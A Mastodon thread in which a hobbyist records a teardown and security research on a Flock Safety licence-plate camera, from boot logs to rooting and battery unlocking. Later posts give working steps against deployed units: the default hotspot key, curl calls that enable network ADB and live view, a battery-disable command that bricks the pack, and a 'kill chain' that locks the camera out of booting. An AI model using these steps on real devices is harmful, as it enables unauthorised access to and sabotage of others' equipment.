Brutkey

kajer | sudo bash
@kajer@infosec.exchange

MicroUSB?!


kajer | sudo bash
@kajer@infosec.exchange

Chips, unique ids cropped

kajer | sudo bash
@kajer@infosec.exchange

Nothing of note under the lantronix daughter board

kajer | sudo bash
@kajer@infosec.exchange

The back housing contains a momentary push button with led ring
One internal cellular antenna
One sma type antenna for the other cellular connection
The weird 7 pin power data connection with only 6 pins connected

kajer | sudo bash
@kajer@infosec.exchange

Front housing contains camera via ribbon cable and IR led ring, as well as God and both wifi antennas

kajer | sudo bash
@kajer@infosec.exchange

Two more closeup

kajer | sudo bash
@kajer@infosec.exchange

Oooo

Flip a dip switch, plug USB

05c6:901d Qualcomm, Inc. Android

kajer | sudo bash
@kajer@infosec.exchange

[2854059.422692] usb 1-1.1: New USB device found, idVendor=05c6, idProduct=f000, bcdDevice= 3.18
[2854059.422708] usb 1-1.1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[2854059.422715] usb 1-1.1: Product: Android
[2854059.422721] usb 1-1.1: Manufacturer: Android
[2854059.422726] usb 1-1.1: SerialNumber: [redacted]
[2854059.427519] usb-storage 1-1.1:1.0: USB Mass Storage device detected
[2854059.428200] scsi host4: usb-storage 1-1.1:1.0

kajer | sudo bash
@kajer@infosec.exchange

ooo

Android Bootloader - UART_DM Initialized!!!
[0] welcome to lk[10] platform_init()
[10] target_init()
[80] SDHC Running in HS400ES mode
[90] WARNING: All phase passed.The selected phase may not be optimal
[100] Done initialization of the card

kajer | sudo bash
@kajer@infosec.exchange

1|msm8953_32:/ $ cat /etc/passwd
#**【THIS IS AN AUTOGENERATED FILE! DO NOT MODIFY!】


#**【Defined in file: "device/qcom/common/config.fs"】



qti_diag::2901
2901:/:/system/bin/sh
rfs::2903
2903:/:/system/bin/sh
rfs_shared::2904
2904:/:/system/bin/sh

kajer | sudo bash
@kajer@infosec.exchange

/system is full of $vendor branded APK files

kajer | sudo bash
@kajer@infosec.exchange

1|msm8953_32:/sys $ getprop ro.build.version.release

8.1.0

kajer | sudo bash
@kajer@infosec.exchange

[ 0.000000] *******************************************************
[ 0.000000]
NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE
[ 0.000000]

[ 0.000000]
trace_printk() being used. Allocating extra memory.
[ 0.000000]

[ 0.000000]
This means that this is a DEBUG kernel and it is
[ 0.000000]
unsafe for produciton use.
[ 0.000000]

[ 0.000000]
If you see this message and you are not debugging
[ 0.000000]
the kernel, report this immediately to your vendor!
[ 0.000000]

[ 0.000000]
NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE NOTICE
[ 0.000000]
*******************************************************

kajer | sudo bash
@kajer@infosec.exchange

So, flock cameras are android 8.1 dev kits with debug kernels, unlocked bootloader, and full shell access ... In prod.

the mini usb port can do OTG to an extent or be an adb port depending on the dip switch. When it's in ADP mode, it's a crapshoot on the USB device id, and usb_modeswitch doesn't do anything.

Using adb, one can push/pull at will. Granted it's not a root shell, and su isn't installed, but holding buttons on power up can get you fastboot.

It's android 8.1, and plenty of su zip files can be applied.

The buttons... Power and volume down. Just enough to be useful in fastboot.

I plan on dumping the flock specific APK files and attempting a decompiling. Maybe hard coded API keys
blobupsidedown

kajer | sudo bash
@kajer@infosec.exchange

fuck ALPR tech

Positive thoughts?

These are so unlocked and so open, if these fucking devices ever made ewaste piles, the dev boards are so easy to harvest and repurpose as an unlocked android 8.1 dev board. Serial port is marked by G T R on the silk screen, and power seems wide input 12v tolerant.

The case of the cam has no intrusion detection.

There is no epoxy or potting or conformal coatring. I'm not sure there is even conformal coating. THe outer housing is sealed with a nice thicc gasket. Even the T20 security torx have o-rings. This is funny because the battery says not to charge in a sealed container.

I have yet to explore the back case button behavior, since I am stealing 3.3v for the serial TTL from that header. Now that I have adb bridge access via USB, i can remove the serial link and connect that button to see what logcat says.

The last bit for me to explore is to see if the 7 pin plug has any useful data on the bottom 3 pins.

Now I get to re-learn android hax0ring all over again, yay!

kajer | sudo bash
@kajer@infosec.exchange

πŸ€”πŸ€”

I haven't tried to use SCRCPY

It wasn't listed as a "feature" in adb, but the logcat output indicates there is a "display" and "sleep" modes when pressing one of the buttons on the board.

Now I can't wait to go home and try it.

Stupid day jobs...

kajer | sudo bash
@kajer@infosec.exchange

SCRCPY WORKS!!!!

kajer | sudo bash
@kajer@infosec.exchange

also, fun fact. the eSIM in the Flock cellular module is not electronic sim, but "e"mbedded sim... meaning it's a standard SIM card.

kajer | sudo bash
@kajer@infosec.exchange

I will be testing that SIM in a different cellular modem soon enough, but I am starting to think the cam I got off of ebay is not quite right.

Watching the local logcat, there are a lot of permission errors and device errors. The QTI logging service on the SCRCPY console seems to never connect to the local logging services.

I got a bitbold and hit one of factort reset buttons in another homebrew flock app, and that did reset the device a f ew time with filesystem stuff in the console logs. Yes all the system apps remained in place, so no flock APKs were harmed... Although. I'm not sure if this camera had enough to work fully in the first place.

I can never get the camera to boot to it's ADB bridge consistently and rarely can I actually get the camera's local wifi hotspot to enable.

Also, the back button seems to enable hotspot mode, but, no network level ADB connections. :(

kajer | sudo bash
@kajer@infosec.exchange

I have a feeling that the camera is halting the boot process due to the missing sim card and the modem not initializing.

I have yet to fully figure out the custom app ecosystem that makes up these cameras.

kajer | sudo bash
@kajer@infosec.exchange

okay, I missed the fact that the Android OS is convinced that the date is 1970

this may pose a problem

kajer | sudo bash
@kajer@infosec.exchange

Can not set time in shell w/o root permissions.

kajer | sudo bash
@kajer@infosec.exchange

Any of my Android hacker friends with a nice CLI based priv escalation (for Android 8.1) would do well to DM me please.

kajer | sudo bash
@kajer@infosec.exchange

Tested the "e"SIM in other cellular modems I have. Nada. This particular camera's sim card seems to have been disabled.

kajer | sudo bash
@kajer@infosec.exchange

I am pretty sure I am going to attempt to enable the remote control ports on 8888 / 9999 to see if those render any results before going down the root filesystem path.

But, for anyone looking for an interesting tid bit...

Triple-press the button on the back of the flock. You will enable wifi tethering. PSK is
security

kajer | sudo bash
@kajer@infosec.exchange

There is an onboard app on the flock camera that offers to start a listener on port 8888/9999 and I have yet to explore that.

It's probably the last thing I do before going scorched earth and dumping the boot images via EDL

@rickoooooo@social.authbypass.com linked this blog to me last night and I am going to attempt rooting the camera.

https://gainsec.com/2025/06/19/grounded-flight-device-2-root-shell-on-flock-safetys-falcon-sparrow-automated-license-plate-reader/

What I really want to see is where the image processing extracts the license plate text and try to pull some bobby tables actions. I have seen SQL references in how the local metadata processes are logging, so I think this could be an interesting defense.

kajer | sudo bash
@kajer@infosec.exchange

@rickoooooo@social.authbypass.com Sadly, the above blog post (thread) doesn't quite get me as far as I was hoping for when it comes to root on the Flock camera.

The "steps" posted in the blog are from memory at best. I think enough has been left out to make reproduction impossible.

I am going to keep drilling. I have the boot images extracted, and magisk 23 claimed it was able to patch, but a reboot caused a kernel panic

So... I'm going to attempt a few other magisk versions. v29(latest) also fails to patch or produce a new-boot.img

:(

kajer | sudo bash
@kajer@infosec.exchange

@rickoooooo@social.authbypass.com

ha ha

yeeeeeeessssssssssssssss

msm8953_32:/ # whoami
root

kajer | sudo bash
@kajer@infosec.exchange

So I found some interesting SQLITE DBs but I have yet to find anything in cleartext concerning license plate numbers.

I found the metadata, but nothing that looks like it is reading text to a string.

{
    "cameraSerial": "cereal",
    "cameraType": "FALCONV21",
    "modelName": "yolo_pico3_float16",
    "modelVersion": "1.1.0",
    "results": {
        "008b7d76-cac2-4a87-a244-04d7854dbe63": {
            "detections": {
                "7da22091-6d48-41c8-b690-ca8ccd5ef958": {
                    "className": "vehicle",
                    "confidence": 0.46829465,
                    "direction": {
                        "x": 0.0,
                        "y": 0.0
                    },
                    "quality": 207.50511,
                    "selected": false,
                    "trackId": "0f995d52-f2e8-4b20-a4f4-35e2dea5a9b0",
                    "xmax": 1024.0,
                    "xmin": 1.3713074,
                    "ymax": 768.0,
                    "ymin": 0.0
                }
            }
        }
    },
    "schemaVersion": "1.0"
}

kajer | sudo bash
@kajer@infosec.exchange

I did end up finding the staged jpg and mp4 files on the filesystem...

I'm not getting the impression that these ALPR cams actually do ALPR on the edge. The yolo_pico3_float16 model will detect vehicle, person, etc. I am pretty sure metadata is tagged to the "session" and the session associated jpg/mp4 files are uploaded to the flock servers.

I am not seeing anything remotely resembling OCR taking place on the edge hardware.

Take this with a big grain of salt though. I am a hobby hardware hacker. I took this camera apart for the fun of it. To help you all understand why these seem to be so popular... California is up to 16,293 flock cameras in service as of yesterday.

I was reallllly hoping to be able to pull a bobby tables against each edge device with a crafty "bumper sticker." But, I don't think the cameras do any actual image processing besides finding objects and tagging the metadata with the objects.

Oh and yes, person is an object that gets tagged.

kajer | sudo bash
@kajer@infosec.exchange

It's also completely reasonable to assume that the camera I got from ebay is damaged goods as well.

I can't get the local ports to output anything useful like the other blogs I have linked. Now, it's possible that the camera is not fully initialized due to me neutering the cellular radio out of the box either.

My argument against that is the fact that the SQLITE DBs are still recording motion events, and metadata tags for the recorded frames / videos. Under the hood, "something" is happening, but I can't see it via the local hotspot modes.

I have learned a lot, but I'm afraid that I may have reached my limits.

kajer | sudo bash
@kajer@infosec.exchange

Started poking a bit more

Flock safety camera:

press the back button 3 times quickly to activate hotspot mode

psk
security

Okay great, now what?

curl -X PUT http://192.168.43.1:8080/api/v1/system/adb/enable

adb connect 192.168.43.1

scrcpy or adb shell

boom!!! device access via network level debug tools

or....

adb shell reboot -p to power the device off.

or...

curl -X PUT http://192.168.43.1:8080/api/v1/system/battery/disable_internal

to
keep the device from running at night disable the BMS in the battery pack, requiring factory reset human levels of intervention.

sadly, all of the flock native apps can NOT be disabled via
adb pm disable :(

Still poking.

kajer | sudo bash
@kajer@infosec.exchange

oof, so disabling the battery is a one-way operation

the battery + line has no voltage anymore

kajer | sudo bash
@kajer@infosec.exchange

power analysis shows that the camera consumes ~2W idle so Solar panel input would drive the camera no problem during the day

but the battery disable command basically tells the BMS to stop outputting voltage.

Attack angle maybe? Turns a nice li-poly back in to a 0V brick.

kajer | sudo bash
@kajer@infosec.exchange

going to attempt to wake up the battery, but now to find a 10.8V charger :(

kajer | sudo bash
@kajer@infosec.exchange

As an aside, holy crap do these cameras have a NARROW field of view. The focal length is like 40+ feet. One can reasonably assume it's blind as a bat when you are on top of the device.

http://192.168.43.1:8080/api/v1/liveView/enable

This will actually get the camera feed to the MJPG server on http port 1234. Camera wattage goes up to ~5W when encoding camera to MJPEG.

kajer | sudo bash
@kajer@infosec.exchange

Part of me thinks the Cellular APN used Twillo is probably an attack surface. Remember when Chrysler had that thing where all headunits had open ports on the cellular IP block?

Why not flock? Flock uses twillo APNs for cellular access (the camera I have) and port 8080 is bound to all IP interfaces...

Someone here with Twillo Cellular should scan the internal sandbox network for device with :1234 and :8080 open.

kajer | sudo bash
@kajer@infosec.exchange

I am attempting to charge the battery directly, we'll see if the BMS is the broblem or not.

Applying voltage to P+ pin of the back did NOT wake it up.

kajer | sudo bash
@kajer@infosec.exchange

This whole battery thing is leading me down a TI BQ-series rabbit hole.

I will need a SMBUS debugger to get in to the BMS to then unlock whatever lockdown mode this thing is in.

I need to stop messing with this battery BMS and go drink.

kajer | sudo bash
@kajer@infosec.exchange

Ugh, here we go. Ordered up a TI BQ series SMBUS debugger...

kajer | sudo bash
@kajer@infosec.exchange

Next steps:

I may setup an isolated wifi AP with a deny any/any rule and get the Flock camera to join that wifi AP rather than using cellular for internet access.

Then I can start simulating the domain names it's trying to phone home to to see what it's doing on the internet side of things.

kajer | sudo bash
@kajer@infosec.exchange

The good news is the phone-home service doesn't trust a self-signed cert...

Will attempt to install a CA cert via network ADB to attempt to gain it's trust.

kajer | sudo bash
@kajer@infosec.exchange

and... BATTERY

kajer | sudo bash
@kajer@infosec.exchange

HAHA YESSS

battery unlocked
Camera boots!

Now to attempt charging via the PV input

kajer | sudo bash
@kajer@infosec.exchange

The unlock key may be DE CA FB AD

kajer | sudo bash
@kajer@infosec.exchange

PV charging unlocked

setting voltage >14VDC will start charging the battery

The external bayyery pack has a label that shows voltage input is 14-24v and since everything uses the same pinout and connector, it's safe to assume that a solar panel can be directly connected to the camera body.

So I set the power supply to 18V/200ma and enabled output. The
dumpsys adb command shows the battery voltage going up and that "AC" charging is enabled.

Even the system utility via
scrcpy shows the battery charging and the percentage going up.

Nice.

Now to install a CA and to continue down the path of remote API takeover....

Speaking of which; The local API listener is only enabled in hotspot mode. So even if these devices were remotely accessible via cellular sandbox, port 8080 is not listening until someone does a triple-button-press on the device. :(

kajer | sudo bash
@kajer@infosec.exchange

Sorry about the slow updates, but hardware/android debugging is not my day job, and I am poking at this stupid thing when I get free time here and there.

kajer | sudo bash
@kajer@infosec.exchange

So yes, a local USER CA can be installed for "VPN and Apps" via the network adb bridge.

adb push ca.pem /data/local/tmp

adb shell am start -n com.android.certinstaller/.CertInstallerMain -a android.intent.action.VIEW -t application/x-x509-ca-cert -d file:///data/local/tmp/ca.pem

The certificate installer in the system menu doesn't work, but calling the intent via adb does work... But... You need SCRCPY running so you can answer all the required prompts and questions, as well as setting a screenlock due to how android does local CA things.

Now to setup a https server again to see if the phone-home service will talk to me.

kajer | sudo bash
@kajer@infosec.exchange

Dang, looks like the certs required for the phone-home service to work are hard-coded in the app itself.

:(

kajer | sudo bash
@kajer@infosec.exchange

Oh... This seems fun...

If you set a screen lock pin, and reboot...

The device will be stuck at a pre-boot password phase. Entering the PIN booted the device, and then it shut itself down right away. Booting again will do the same but without the shutdown.

So... uh, set a screenlock and reboot. done.

The screenlock can be a pin, password, swipe. etc.

kajer | sudo bash
@kajer@infosec.exchange

Flock Safety Kill Chain thus far:
Press back button on camera three times quickly
connect to Flock-xxxxxx hotspot with PSK:
security
curl -x PUT http://192.168.43.1:8080/api/v1/system/adb/enable
adb connect 192.168.43.1
scrcpy
set a PIN/PASSWORD
adb shell reboot -p

bye bye

kajer | sudo bash
@kajer@infosec.exchange

since the camera has "encrypted" storage, the reboot will force the pre-boot password to be entered before loading the userdata partition. No userdata, no flock apps. No hotspot. Only USB adb bridge will get you scrcpy to then enter the password.

In theory you could use the usb adb to do some intent/keystroke commands to the screenlock screen, but scrcpy is already running, and easier.

If the camera doesn't get a boot password, it shuts down to a low power state until you press buttons on the internal boards locally.

kajer | sudo bash
@kajer@infosec.exchange

I am no longer in possession of the above pictured flock safety camera. I have passed it on to the next person who may extract it's darker secrets. Look for updates in the future. I will link when that time comes.